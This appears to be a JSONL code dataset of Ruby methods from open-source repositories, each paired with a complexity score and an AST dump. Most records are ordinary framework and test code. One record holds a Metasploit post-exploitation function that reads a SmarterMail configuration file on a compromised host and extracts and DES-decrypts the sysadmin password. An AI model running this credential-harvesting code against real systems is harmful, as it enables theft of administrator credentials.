{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/web.rb","start_line":138,"raw_source":"def enable(*opts)\n      opts.each { |key| set(key, true) }\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"enable\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"opts\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[null,\"set\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"true\",\"children\":[]}]}]}]}","id":"f464e732-42e6-4cb1-bcfc-fd6663a8305f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/smartermail.rb","start_line":106,"raw_source":"def get_smartermail_creds(path)\n    result = {}\n    data = ''\n\n    vprint_status \"#{peer} - Retrieving SmarterMail sysadmin password\"\n    begin\n      data = read_file(path)\n    rescue Rex::Post::Meterpreter::RequestError => e\n      print_error \"#{peer} - Failed to download #{path} - #{e}\"\n      return result\n    end\n\n    if data.blank?\n      print_error \"#{peer} - Configuration file is empty.\"\n      return result\n    end\n\n    username = data.match(%r{<sysAdminUserName>(.+)</sysAdminUserName>})\n    password = data.scan(%r{<(sysAdminPassword|sysAdminPasswordHash)>(.+)</(sysAdminPassword|sysAdminPasswordHash)>}).flatten[1]\n\n    result[:username] = username[1] unless username.nil?\n\n    if password\n      begin\n        result[:password] = decrypt_des(Rex::Text.decode_base64(password))\n        result[:private_type] = :password\n      rescue OpenSSL::Cipher::CipherError\n        result[:password] = password\n        result[:private_type] = :nonreplayable_hash\n        result[:jtr_format] = 'des'\n      end\n    end\n\n    result\n  end","complexity_score":38.03,"ast_json":"{\"type\":\"def\",\"children\":[\"get_smartermail_creds\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Retrieving SmarterMail sysadmin password\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[null,\"read_file\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Post\"]},\"Meterpreter\"]},\"RequestError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Failed to download \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"blank?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Configuration file is empty.\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"username\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<sysAdminUserName>(.+)</sysAdminUserName>\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"password\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<(sysAdminPassword|sysAdminPasswordHash)>(.+)</(sysAdminPassword|sysAdminPasswordHash)>\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"flatten\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"password\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[null,\"decrypt_des\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"decode_base64\",{\"type\":\"lvar\",\"children\":[\"password\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"sym\",\"children\":[\"password\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"Cipher\"]},\"CipherError\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"lvar\",\"children\":[\"password\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"sym\",\"children\":[\"nonreplayable_hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"jtr_format\"]},{\"type\":\"str\",\"children\":[\"des\"]}]}]}]},null]}]},null]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"83683571-168c-4b1e-8fc2-6b3bf2b4a3fb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/gitaly_client/commit_service.rb","start_line":202,"raw_source":"def last_commit_for_path(revision, path, literal_pathspec: false)\n        request = Gitaly::LastCommitForPathRequest.new(\n          repository: @gitaly_repo,\n          revision: encode_binary(revision),\n          path: encode_binary(path.to_s),\n          global_options: parse_global_options!(literal_pathspec: literal_pathspec)\n        )\n\n        gitaly_commit = gitaly_client_call(@repository.storage, :commit_service, :last_commit_for_path, request, timeout: GitalyClient.fast_timeout).commit\n        return unless gitaly_commit\n\n        Gitlab::Git::Commit.new(@repository, gitaly_commit)\n      end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"last_commit_for_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"revision\"]},{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"kwoptarg\",\"children\":[\"literal_pathspec\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitaly\"]},\"LastCommitForPathRequest\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"repository\"]},{\"type\":\"ivar\",\"children\":[\"@gitaly_repo\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"revision\"]},{\"type\":\"send\",\"children\":[null,\"encode_binary\",{\"type\":\"lvar\",\"children\":[\"revision\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[null,\"encode_binary\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"to_s\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"global_options\"]},{\"type\":\"send\",\"children\":[null,\"parse_global_options!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"literal_pathspec\"]},{\"type\":\"lvar\",\"children\":[\"literal_pathspec\"]}]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"gitaly_commit\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gitaly_client_call\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@repository\"]},\"storage\"]},{\"type\":\"sym\",\"children\":[\"commit_service\"]},{\"type\":\"sym\",\"children\":[\"last_commit_for_path\"]},{\"type\":\"lvar\",\"children\":[\"request\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeout\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitalyClient\"]},\"fast_timeout\"]}]}]}]},\"commit\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gitaly_commit\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"Commit\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@repository\"]},{\"type\":\"lvar\",\"children\":[\"gitaly_commit\"]}]}]}]}","id":"6590a693-a929-4399-a3d9-ad0da2b3adcf"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/nested_attributes_test.rb","start_line":73,"raw_source":"def test_should_raise_an_UnknownAttributeError_for_non_existing_nested_attributes\n    exception = assert_raise ActiveModel::UnknownAttributeError do\n      Pirate.new(ship_attributes: { sail: true })\n    end\n    assert_match \"unknown attribute 'sail' for Ship.\", exception.message\n  end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_raise_an_UnknownAttributeError_for_non_existing_nested_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"exception\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveModel\"]},\"UnknownAttributeError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pirate\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ship_attributes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sail\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"str\",\"children\":[\"unknown attribute 'sail' for Ship.\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"message\"]}]}]}]}","id":"feced953-8e1d-40cc-b9a4-ef9fbad433e9"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/arel/visitors/to_sql.rb","start_line":760,"raw_source":"def visit_Arel_Nodes_BoundSqlLiteral(o, collector)\n          collector.retryable = false\n          bind_index = 0\n\n          new_bind = lambda do |value|\n            if Arel.arel_node?(value)\n              visit value, collector\n            elsif value.is_a?(Array)\n              if value.empty?\n                collector << @connection.quote(nil)\n              else\n                if value.none? { |v| Arel.arel_node?(v) }\n                  collector.add_binds(value.map { |v| @connection.cast_bound_value(v) }, &bind_block)\n                else\n                  value.each_with_index do |v, i|\n                    collector << \", \" unless i == 0\n                    if Arel.arel_node?(v)\n                      visit v, collector\n                    else\n                      collector.add_bind(@connection.cast_bound_value(v), &bind_block)\n                    end\n                  end\n                end\n              end\n            else\n              collector.add_bind(@connection.cast_bound_value(value), &bind_block)\n            end\n          end\n\n          if o.positional_binds\n            o.sql_with_placeholders.scan(/\\?|([^?]+)/) do\n              if $1\n                collector << $1\n              else\n                value = o.positional_binds[bind_index]\n                bind_index += 1\n\n                new_bind.call(value)\n              end\n            end\n          else\n            o.sql_with_placeholders.scan(/:(?<!::)([a-zA-Z]\\w*)|([^:]+|.)/) do\n              if $2\n                collector << $2\n              else\n                value = o.named_binds[$1.to_sym]\n                new_bind.call(value)\n              end\n            end\n          end\n\n          collector\n        end","complexity_score":89.6,"ast_json":"{\"type\":\"def\",\"children\":[\"visit_Arel_Nodes_BoundSqlLiteral\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"o\"]},{\"type\":\"arg\",\"children\":[\"collector\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collector\"]},\"retryable=\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"bind_index\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"new_bind\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"arel_node?\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"collector\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collector\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"quote\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"none?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"arel_node?\",{\"type\":\"lvar\",\"children\":[\"v\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collector\"]},\"add_binds\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"cast_bound_value\",{\"type\":\"lvar\",\"children\":[\"v\"]}]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bind_block\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"each_with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]},{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collector\"]},\"<<\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"arel_node?\",{\"type\":\"lvar\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"lvar\",\"children\":[\"v\"]},{\"type\":\"lvar\",\"children\":[\"collector\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collector\"]},\"add_bind\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"cast_bound_value\",{\"type\":\"lvar\",\"children\":[\"v\"]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bind_block\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collector\"]},\"add_bind\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"cast_bound_value\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bind_block\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"positional_binds\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"sql_with_placeholders\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\?|([^?]+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collector\"]},\"<<\",{\"type\":\"nth_ref\",\"children\":[1]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"positional_binds\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"bind_index\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bind_index\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_bind\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"sql_with_placeholders\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\":(?<!::)([a-zA-Z]\\\\w*)|([^:]+|.)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"nth_ref\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collector\"]},\"<<\",{\"type\":\"nth_ref\",\"children\":[2]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"named_binds\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]},\"to_sym\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_bind\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"collector\"]}]}]}","id":"fddc6147-ae82-4846-8abd-13ec6409ebcc"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/components/op_primer/list_component_spec.rb","start_line":35,"raw_source":"def render_component(**, &)\n    render_inline(described_class.new(**), &)\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"render_component\",{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[]},{\"type\":\"blockarg\",\"children\":[null]}]},{\"type\":\"send\",\"children\":[null,\"render_inline\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"forwarded_kwrestarg\",\"children\":[]}]}]},{\"type\":\"block_pass\",\"children\":[null]}]}]}","id":"9683f534-f3a8-4c4a-8877-02ef700f364d"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/promotions_controller.rb","start_line":37,"raw_source":"def collection\n        return @collection if defined?(@collection)\n\n        params[:q] ||= {}\n\n        expired = params[:q].delete(:expired) == 'true'\n        active = params[:q].delete(:active) == 'true'\n\n        @collection = super\n\n        @collection = @collection.active if active\n        @collection = @collection.expired if expired\n\n        @search = @collection.ransack(params[:q])\n        @collection = @search.result(distinct: true).\n                      includes(:promotion_actions).\n                      page(params[:page]).\n                      per(params[:per_page])\n\n        params[:q][:expired] = expired\n        params[:q][:active] = active\n\n        @collection\n      end","complexity_score":44.6,"ast_json":"{\"type\":\"def\",\"children\":[\"collection\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@collection\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@collection\"]}]},null]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"q\"]}]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"expired\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"q\"]}]},\"delete\",{\"type\":\"sym\",\"children\":[\"expired\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"true\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"active\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"q\"]}]},\"delete\",{\"type\":\"sym\",\"children\":[\"active\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"true\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@collection\",{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"active\"]},{\"type\":\"ivasgn\",\"children\":[\"@collection\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@collection\"]},\"active\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expired\"]},{\"type\":\"ivasgn\",\"children\":[\"@collection\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@collection\"]},\"expired\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@search\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@collection\"]},\"ransack\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"q\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@collection\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@search\"]},\"result\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"distinct\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"includes\",{\"type\":\"sym\",\"children\":[\"promotion_actions\"]}]},\"page\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"page\"]}]}]},\"per\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"per_page\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"q\"]}]},\"[]=\",{\"type\":\"sym\",\"children\":[\"expired\"]},{\"type\":\"lvar\",\"children\":[\"expired\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"q\"]}]},\"[]=\",{\"type\":\"sym\",\"children\":[\"active\"]},{\"type\":\"lvar\",\"children\":[\"active\"]}]},{\"type\":\"ivar\",\"children\":[\"@collection\"]}]}]}","id":"54e4dcf7-464c-4ad4-8ed3-3b028ee88cac"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/connection_adapters/type_lookup_test.rb","start_line":13,"raw_source":"def test_boolean_types\n          assert_lookup_type :boolean, \"boolean\"\n          assert_lookup_type :boolean, \"BOOLEAN\"\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_boolean_types\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_lookup_type\",{\"type\":\"sym\",\"children\":[\"boolean\"]},{\"type\":\"str\",\"children\":[\"boolean\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_lookup_type\",{\"type\":\"sym\",\"children\":[\"boolean\"]},{\"type\":\"str\",\"children\":[\"BOOLEAN\"]}]}]}]}","id":"394bf66d-f797-450f-8598-91e95393a002"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/providers/bedrock/capabilities.rb","start_line":10,"raw_source":"def context_window_for(model_id)\n          case model_id\n          when /anthropic\\.claude-2/ then 100_000\n          else 200_000\n          end\n        end","complexity_score":2.68,"ast_json":"{\"type\":\"def\",\"children\":[\"context_window_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model_id\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_id\"]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"anthropic\\\\.claude-2\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"int\",\"children\":[100000]}]},{\"type\":\"int\",\"children\":[200000]}]}]}","id":"b8834176-d5e5-4028-9a1e-eec6a6cf9111"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/parsing_quirks_test.rb","start_line":108,"raw_source":"def test_invalid_variables_work\n    with_error_modes(:lax) do\n      assert_template_result('bar', \"{% assign 123foo = 'bar' %}{{ 123foo }}\")\n      assert_template_result('123', \"{% assign 123 = 'bar' %}{{ 123 }}\")\n    end\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_invalid_variables_work\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_error_modes\",{\"type\":\"sym\",\"children\":[\"lax\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"bar\"]},{\"type\":\"str\",\"children\":[\"{% assign 123foo = 'bar' %}{{ 123foo }}\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"123\"]},{\"type\":\"str\",\"children\":[\"{% assign 123 = 'bar' %}{{ 123 }}\"]}]}]}]}]}","id":"59ffe832-7e94-4c70-8e6d-6b41b62ca9c2"}
